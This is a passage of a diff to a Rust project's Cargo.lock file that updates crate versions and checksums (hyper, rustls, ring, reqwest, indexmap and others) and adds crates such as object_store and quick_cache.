- "rstar 0.10.0", - "rstar 0.11.0", + "rstar", "serde", ] @@ -1405,9 +1448,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.10" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" dependencies = [ "cfg-if", "js-sys", @@ -1418,21 +1461,21 @@ dependencies = [ [[package]] name = "gimli" -version = "0.28.0" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "globset" -version = "0.4.13" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "759c97c1e17c55525b57192c06a267cda0ac5210b222d6b82189a2338fa1c13d" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" dependencies = [ "aho-corasick", "bstr", - "fnv", "log", - "regex", + "regex-automata", + "regex-syntax 0.8.2", ] [[package]] @@ -1448,9 +1491,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.3.21" +version = "0.3.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" +checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" dependencies = [ "bytes", "fnv", @@ -1458,7 +1501,7 @@ dependencies = [ "futures-sink", "futures-util", "http", - "indexmap 1.9.3", + "indexmap 2.1.0", "slab", "tokio", "tokio-util", @@ -1480,29 +1523,24 @@ version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" dependencies = [ - "ahash 0.7.6", + "ahash 0.7.7", ] [[package]] name = "hashbrown" -version = "0.13.2" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" dependencies = [ - "ahash 0.8.3", + "ahash 0.8.7", + "allocator-api2", ] [[package]] -name = "hashbrown" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c6201b9ff9fd90a5a3bac2e56a830d0caa509576f0e503818ee82c181b3437a" - -[[package]] name = "heapless" -version = "0.7.16" +version = "0.7.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db04bc24a18b9ea980628ecf00e6c0264f3c1426dac36c00cb49b6fbad8b0743" +checksum = "cdc6457c0eb62c71aac4bc17216026d8410337c4126773b9c5daba343f17964f" dependencies = [ "atomic-polyfill", "hash32", @@ -1528,9 +1566,9 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" [[package]] name = "hex" @@ -1549,9 +1587,9 @@ dependencies = [ [[package]] name = "http" -version = "0.2.9" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" dependencies = [ "bytes", "fnv", @@ -1560,9 +1598,9 @@ dependencies = [ [[package]] name = "http-body" -version = "0.4.5" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" dependencies = [ "bytes", "http", @@ -1582,10 +1620,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" [[package]] +name = "humantime" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" + +[[package]] name = "hyper" -version = "0.14.27" +version = "0.14.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" dependencies = [ "bytes", "futures-channel", @@ -1598,7 +1642,7 @@ dependencies = [ "httpdate", "itoa", "pin-project-lite", - "socket2 0.4.9", + "socket2", "tokio", "tower-service", "tracing", @@ -1607,30 +1651,30 @@ dependencies = [ [[package]] name = "hyper-rustls" -version = "0.24.1" +version = "0.24.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d78e1e73ec14cf7375674f74d7dde185c8206fd9dea6fb6295e8a98098aaa97" +checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" dependencies = [ "futures-util", "http", "hyper", - "rustls 0.21.7", + "rustls", "tokio", - "tokio-rustls 0.24.1", + "tokio-rustls", ] [[package]] name = "iana-time-zone" -version = "0.1.57" +version = "0.1.59" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2fad5b825842d2b38bd206f3e81d6957625fd7f0a361e345c30e01a0ae2dd613" +checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" dependencies = [ "android_system_properties", "core-foundation-sys", "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows", + "windows-core", ] [[package]] @@ -1650,9 +1694,9 @@ checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" [[package]] name = "idna" -version = "0.4.0" +version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" dependencies = [ "unicode-bidi", "unicode-normalization", @@ -1660,17 +1704,16 @@ dependencies = [ [[package]] name = "ignore" -version = "0.4.20" +version = "0.4.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbe7873dab538a9a44ad79ede1faf5f30d49f9a5c883ddbab48bce81b64b7492" +checksum = "747ad1b4ae841a78e8aba0d63adbfbeaea26b517b63705d47856b73015d27060" dependencies = [ + "crossbeam-deque", "globset", - "lazy_static", "log", "memchr", - "regex", + "regex-automata", "same-file", - "thread_local", "walkdir", "winapi-util", ] @@ -1713,12 +1756,12 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.0.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5477fe2230a79769d8dc68e0eabf5437907c0457a5614a9e8dddb67f65eb65d" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", - "hashbrown 0.14.0", + "hashbrown 0.14.3", "serde", ] @@ -1732,29 +1775,20 @@ dependencies = [ ] [[package]] -name = "instant" -version = "0.1.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" -dependencies = [ - "cfg-if", -] - -[[package]] name = "ipnet" -version = "2.8.0" +version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28b29a3cd74f0f4598934efe3aeba42bae0eb4680554128851ebbecb02af14e6" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" [[package]] name = "is-terminal" -version = "0.4.9" +version = "0.4.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" +checksum = "0bad00257d07be169d870ab665980b06cdb366d792ad690bf2e76876dc503455" dependencies = [ - "hermit-abi 0.3.2", + "hermit-abi 0.3.3", "rustix", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -1786,15 +1820,15 @@ dependencies = [ [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "js-sys" -version = "0.3.64" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5f195fe497f702db0f318b07fdd68edb16955aed830df8363d837542f8f935a" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" dependencies = [ "wasm-bindgen", ] @@ -1851,27 +1885,38 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.150" +version = "0.2.151" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" +checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" [[package]] name = "libm" -version = "0.2.7" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058" + +[[package]] +name = "libredox" +version = "0.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7012b1bbb0719e1097c47611d3898568c546d597c2e74d66f6087edd5233ff4" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.1", + "libc", + "redox_syscall", +] [[package]] name = "linux-raw-sys" -version = "0.4.7" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a9bad9f94746442c783ca431b22403b519cd7fbeed0533fdd6328b2f2212128" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" [[package]] name = "lock_api" -version = "0.4.10" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -1884,28 +1929,43 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] -name = "lru" -version = "0.10.1" +name = "md-5" +version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "718e8fae447df0c7e1ba7f5189829e63fd536945c8988d61444c19039f16b670" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" dependencies = [ - "hashbrown 0.13.2", + "cfg-if", + "digest", ] [[package]] -name = "md-5" -version = "0.10.5" +name = "memchr" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6365506850d44bff6e2fbcb5176cf63650e48bd45ef2fe2665ae1570e0f4b9ca" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "miette" +version = "5.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59bb584eaeeab6bd0226ccf3509a69d7936d148cf3d036ad350abe35e8c6856e" dependencies = [ - "digest", + "miette-derive", + "once_cell", + "thiserror", + "unicode-width", ] [[package]] -name = "memchr" -version = "2.6.3" +name = "miette-derive" +version = "5.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f232d6ef707e1956a43342693d2a31e72989554d58299d7a88738cc95b0d35c" +checksum = "49e7bc1560b95a3c4a25d03de42fe76ca718ab92d1a22a55b9b4cf67b3ae635c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.43", +] [[package]] name = "mime" @@ -1940,13 +2000,13 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.9" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", "wasi", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] @@ -2069,9 +2129,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.16" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f30b0abd723be7e2ffca1272140fac1a2f084c77ec3e123c192b66af1ee9e6c2" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" dependencies = [ "autocfg", "libm", @@ -2083,24 +2143,45 @@ version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi 0.3.2", + "hermit-abi 0.3.3", "libc", ] [[package]] name = "object" -version = "0.32.1" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] +name = "object_store" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2524735495ea1268be33d200e1ee97455096a0846295a21548cd2f3541de7050" +dependencies = [ + "async-trait", + "bytes", + "chrono", + "futures", + "humantime", + "itertools 0.11.0", + "parking_lot", + "percent-encoding", + "snafu", + "tokio", + "tracing", + "url", + "walkdir", +] + +[[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "ordered-multimap" @@ -2109,14 +2190,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a4d6a8c22fc714f0c2373e6091bf6f5e9b37b1bc0b1184874b7e0a4e303d318f" dependencies = [ "dlv-list", - "hashbrown 0.14.0", + "hashbrown 0.14.3", ] [[package]] name = "os_str_bytes" -version = "6.5.1" +version = "6.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d5d9eb14b174ee9aa2ef96dc2b94637a2d4b6e7cb873c7e171f0c20c6cf3eac" +checksum = "e2355d85b9a3786f481747ced0e0ff2ba35213a1f9bd406ed906554d7af805a1" [[package]] name = "overload" @@ -2132,9 +2213,9 @@ checksum = "c1b04fb49957986fdce4d6ee7a65027d55d4b6d2265e5848bbb507b58ccfdb6f" [[package]] name = "parking" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14f2252c834a40ed9bb5422029649578e63aa341ac401f74e719dd1afda8394e" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" [[package]] name = "parking_lot" @@ -2148,15 +2229,15 @@ dependencies = [ [[package]] name = "parking_lot_core" -version = "0.9.8" +version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.3.5", + "redox_syscall", "smallvec", - "windows-targets", + "windows-targets 0.48.5", ] [[package]] @@ -2194,7 +2275,7 @@ version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6b13fe415cdf3c8e44518e18a7c95a13431d9bdf6d15367d82b23c377fdd441a" dependencies = [ - "base64 0.21.4", + "base64", "serde", ] @@ -2209,9 +2290,9 @@ dependencies = [ [[package]] name = "percent-encoding" -version = "2.3.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "petgraph" @@ -2220,7 +2301,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" dependencies = [ "fixedbitset", - "indexmap 2.0.0", + "indexmap 2.1.0", ] [[package]] @@ -2265,7 +2346,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -2302,6 +2383,12 @@ dependencies = [ ] [[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] name = "ppv-lite86" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2356,11 +2443,12 @@ dependencies = [ [[package]] name = "proc-macro-crate" -version = "0.1.5" +version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785" +checksum = "97dc5fea232fc28d2f597b37c4876b348a40e33f3b02cc975c8d006d78d94b1a" dependencies = [ - "toml", + "toml_datetime", + "toml_edit", ] [[package]] @@ -2388,16 +2476,10 @@ dependencies = [ ] [[package]] -name = "proc-macro-hack" -version = "0.5.20+deprecated" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" - -[[package]] name = "proc-macro2" -version = "1.0.69" +version = "1.0.71" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" +checksum = "75cb1540fadbd5b8fbccc4dddad2734eba435053f725621c070711a14bb5f4b8" dependencies = [ "unicode-ident", ] @@ -2438,6 +2520,18 @@ dependencies = [ ] [[package]] +name = "quick_cache" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58c20af3800cee5134b79a3bd4a3d4b583c16ccfa5f53338f46400851a5b3819" +dependencies = [ + "ahash 0.8.7", + "equivalent", + "hashbrown 0.14.3", + "parking_lot", +] + +[[package]] name = "quote" version = "1.0.33" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2495,51 +2589,42 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.2.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] -name = "redox_syscall" -version = "0.3.5" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ "bitflags 1.3.2", ] [[package]] name = "redox_users" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" dependencies = [ "getrandom", - "redox_syscall 0.2.16", + "libredox", "thiserror", ] [[package]] name = "ref-cast" -version = "1.0.20" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "acde58d073e9c79da00f2b5b84eed919c8326832648a5b109b3fce1bb1175280" +checksum = "53313ec9f12686aeeffb43462c3ac77aa25f590a5f630eb2cde0de59417b29c7" dependencies = [ "ref-cast-impl", ] [[package]] name = "ref-cast-impl" -version = "1.0.20" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f7473c2cfcf90008193dd0e3e16599455cb601a9fce322b5bb55de799664925" +checksum = "2566c4bf6845f2c2e83b27043c3f5dfcd5ba8f2937d6c00dc009bfb51a079dc4" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -2550,18 +2635,12 @@ checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.3", + "regex-automata", "regex-syntax 0.8.2", ] [[package]] name = "regex-automata" -version = "0.3.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2f401f4955220693b56f8ec66ee9c78abffd8d1c4f23dc41a23839eb88f0795" - -[[package]] -name = "regex-automata" version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" @@ -2585,20 +2664,20 @@ checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "rend" -version = "0.4.0" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "581008d2099240d37fb08d77ad713bcaec2c4d89d50b5b21a8bb1996bbab68ab" +checksum = "a2571463863a6bd50c32f94402933f03457a3fbaf697a707c5be741e459f08fd" dependencies = [ "bytecheck", ] [[package]] name = "reqwest" -version = "0.11.20" +version = "0.11.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3e9ad3fe7488d7e34558a2033d45a0c90b72d97b4f80705666fea71472e2e6a1" +checksum = "37b1ae8d9ac08420c66222fb9096fc5de435c3c48542bc5336c51892cffafb41" dependencies = [ - "base64 0.21.4", + "base64", "bytes", "encoding_rs", "futures-core", @@ -2616,13 +2695,14 @@ dependencies = [ "once_cell", "percent-encoding", "pin-project-lite", - "rustls 0.21.7", + "rustls", "rustls-pemfile", "serde", "serde_json", "serde_urlencoded", + "system-configuration", "tokio", - "tokio-rustls 0.24.1", + "tokio-rustls", "tokio-util", "tower-service", "url", @@ -2630,7 +2710,7 @@ dependencies = [ "wasm-bindgen-futures", "wasm-streams", "web-sys", - "webpki-roots 0.25.2", + "webpki-roots", "winreg", ] @@ -2668,7 +2748,7 @@ dependencies = [ "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ -2681,19 +2761,34 @@ dependencies = [ "libc", "once_cell", "spin 0.5.2", - "untrusted", + "untrusted 0.7.1", "web-sys", "winapi", ] [[package]] +name = "ring" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" +dependencies = [ + "cc", + "getrandom", + "libc", + "spin 0.9.8", + "untrusted 0.9.0", + "windows-sys 0.48.0", +] + +[[package]] name = "rkyv" -version = "0.7.42" +version = "0.7.43" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0200c8230b013893c0b2d6213d6ec64ed2b9be2e0e016682b7224ff82cff5c58" +checksum = "527a97cdfef66f65998b5f3b637c26f5a5ec09cc52a3f9932313ac645f4190f5" dependencies = [ "bitvec", "bytecheck", + "bytes", "hashbrown 0.12.3", "ptr_meta", "rend", @@ -2705,9 +2800,9 @@ dependencies = [ [[package]] name = "rkyv_derive" -version = "0.7.42" +version = "0.7.43" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e06b915b5c230a17d7a736d1e2e63ee753c256a8614ef3f5147b13a4f5541d" +checksum = "b5c462a1328c8e67e4d6dbad1eb0355dd43e8ab432c6e227a43657f16ade5033" dependencies = [ "proc-macro2", "quote", @@ -2728,28 +2823,20 @@ dependencies = [ [[package]] name = "robust" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5864e7ef1a6b7bcf1d6ca3f655e65e724ed3b52546a0d0a663c991522f552ea" - -[[package]] -name = "robust" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cbf4a6aa5f6d6888f39e980649f3ad6b666acdce1d78e95b8a2cb076e687ae30" [[package]] name = "rsa" -version = "0.9.2" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ab43bb47d23c1a631b4b680199a45255dce26fa9ab2fa902581f624ff13e6a8" +checksum = "5d0e5124fcb30e76a7e79bfee683a2746db83784b86289f6251b54b7950a0dfc" dependencies = [ - "byteorder", "const-oid", "digest", "num-bigint-dig", "num-integer", - "num-iter", "num-traits", "pkcs1", "pkcs8", @@ -2762,17 +2849,6 @@ dependencies = [ [[package]] name = "rstar" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f39465655a1e3d8ae79c6d9e007f4953bfc5d55297602df9dc38f9ae9f1359a" -dependencies = [ - "heapless", - "num-traits", - "smallvec", -] - -[[package]] -name = "rstar" version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73111312eb7a2287d229f06c00ff35b51ddee180f017ab6dec1f69d62ac098d6" @@ -2804,9 +2880,9 @@ dependencies = [ [[package]] name = "rust_decimal" -version = "1.32.0" +version = "1.33.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4c4216490d5a413bc6d10fa4742bd7d4955941d062c0ef873141d6b0e7b30fd" +checksum = "06676aec5ccb8fc1da723cc8c0f9a46549f21ebb8753d3915c6c41db1e7f1dc4" dependencies = [ "arrayvec", "borsh", @@ -2844,58 +2920,46 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.13" +version = "0.38.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d7db8590df6dfcd144d22afd1b83b36c21a18d7cbc1dc4bb5295a8712e9eb662" +checksum = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316" dependencies = [ - "bitflags 2.4.0", + "bitflags 2.4.1", "errno", "libc", "linux-raw-sys", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] name = "rustls" -version = "0.20.9" +version = "0.21.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" +checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba" dependencies = [ "log", - "ring", - "sct", - "webpki", -] - -[[package]] -name = "rustls" -version = "0.21.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd8d6c9f025a446bc4d18ad9632e69aec8f287aa84499ee335599fabd20c3fd8" -dependencies = [ - "log", - "ring", + "ring 0.17.7", "rustls-webpki", "sct", ] [[package]] name = "rustls-pemfile" -version = "1.0.3" +version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" dependencies = [ - "base64 0.21.4", + "base64", ] [[package]] name = "rustls-webpki" -version = "0.101.5" +version = "0.101.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "45a27e3b59326c16e23d30aeb7a36a24cc0d29e71d68ff611cdfb4a01d013bed" +checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" dependencies = [ - "ring", - "untrusted", + "ring 0.17.7", + "untrusted 0.9.0", ] [[package]] @@ -2906,9 +2970,9 @@ checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "salsa20" @@ -2948,12 +3012,12 @@ dependencies = [ [[package]] name = "sct" -version = "0.7.0" +version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d53dcdb7c9f8158937a7981b48accfd39a43af418591a5d008c7b22b5e1b7ca4" +checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" dependencies = [ - "ring", - "untrusted", + "ring 0.17.7", + "untrusted 0.9.0", ] [[package]] @@ -2964,9 +3028,9 @@ checksum = "1c107b6f4780854c8b126e228ea8869f4d7b71260f962fefb57b996b8959ba6b" [[package]] name = "semver" -version = "1.0.18" +version = "1.0.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918" +checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" dependencies = [ "serde", ] @@ -2994,7 +3058,7 @@ checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.43", ] [[package]] @@ 